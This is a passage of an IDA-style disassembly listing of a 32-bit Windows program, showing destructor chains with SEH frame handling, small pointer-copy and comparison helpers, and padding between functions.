		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_401E56j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41683B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41683B:				; CODE XREF: sub_416820+11j
		retn
sub_416820	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416870	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41688B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41688B:				; CODE XREF: sub_416870+11j
		retn
sub_416870	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168DB:				; CODE XREF: sub_4168C0+11j
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447148B9h
		dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447148B9h, 0B2CAE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_439FE1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C00	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416C17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C17:				; CODE XREF: sub_416C00+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C30	proc near		; CODE XREF: ___:0040126Cj sub_4019BFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	[esp+4+arg_0], 1
		jz	short loc_416C48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416C48:				; CODE XREF: sub_416C30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416C30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C60	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416C77
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416C77:				; CODE XREF: sub_416C60+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416C90:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416CA8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CA8:				; CODE XREF: ___:00416C9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CC0	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416CF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CF8:				; CODE XREF: ___:00416CEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D30:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A1C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_401573
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_40178F
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_401424
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_401424
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_401424
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_401424
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416FB0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
sub_416FB0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417020	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417540	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417540	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417830	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178F0	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417960	proc near		; CODE XREF: sub_4017D0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A40	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417A40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
